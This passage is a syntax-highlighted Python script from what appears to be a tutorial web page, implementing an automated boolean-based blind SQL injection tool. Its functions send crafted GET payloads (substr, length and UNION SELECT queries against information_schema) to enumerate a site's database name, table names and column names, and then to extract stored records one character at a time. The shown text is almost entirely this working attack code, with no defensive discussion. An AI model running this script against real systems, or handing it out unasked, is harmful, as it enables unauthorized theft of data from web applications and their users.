</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_length</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and length(database())=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名长度为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">
</span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">db_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and substr(database(),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">            <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">            <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">                <span class="n">name</span> <span class="o">+=</span> <span class="n">j</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名为：</span><span class="si">%s</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">return</span> <span class="n">name</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_number</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;表的数目为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_length</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">
</span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_names</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">        <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="n">tb_len</span> <span class="o">=</span> <span class="n">get_table_length</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">                          <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">                    <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="n">names</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="k">return</span> <span class="n">names</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">
</span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第</span><span class="si">%d</span><span class="s2">个表，有</span><span class="si">%d</span><span class="s2">列&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">num</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">
</span></span><span class="line"><span class="ln"> 88</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[[]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">tb_num</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">        <span class="n">cl_num</span> <span class="o">=</span> <span class="n">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">cl_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="n">cl_len</span> <span class="o">=</span> <span class="n">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">            <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">cl_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;qwertyuiopasdfghjklzxcvbnm&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">                    <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln">108</span><span class="cl">                              <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">                    <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                    <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">                    <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">                        <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">            <span class="n">names</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">
</span></span><span class="line"><span class="ln">116</span><span class="cl">
</span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,</span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1 --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">
</span></span><span class="line"><span class="ln">127</span><span class="cl">
</span></span><span class="line"><span class="ln">128</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">
</span></span><span class="line"><span class="ln">136</span><span class="cl">
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="k">def</span> <span class="nf">get_data</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="n">da</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">    <span class="n">data_num</span> <span class="o">=</span> <span class="n">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">data_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">        <span class="n">d</span><span class="o">=</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">        <span class="n">data_len</span> <span class="o">=</span> <span class="n">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">data_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;qwertyuiopasdfghjklzxcvbnm1234567890&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">                    <span class="n">d</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">        <span class="n">da</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">da</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">
</span></span><span class="line"><span class="ln">153</span><span class="cl">
</span></span><span class="line"><span class="ln">154</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="n">db_len</span> <span class="o">=</span> <span class="n">get_database_length</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="n">db_name</span> <span class="o">=</span> <span class="n">get_database_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">    <span class="n">tb_num</span> <span class="o">=</span> <span class="n">get_table_number</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">    <span class="n">tb_names</span> <span class="o">=</span> <span class="n">get_table_names</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">    <span class="n">get_column_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入表名列名查询数据，以空格间隔：&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">        <span class="n">get_data</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
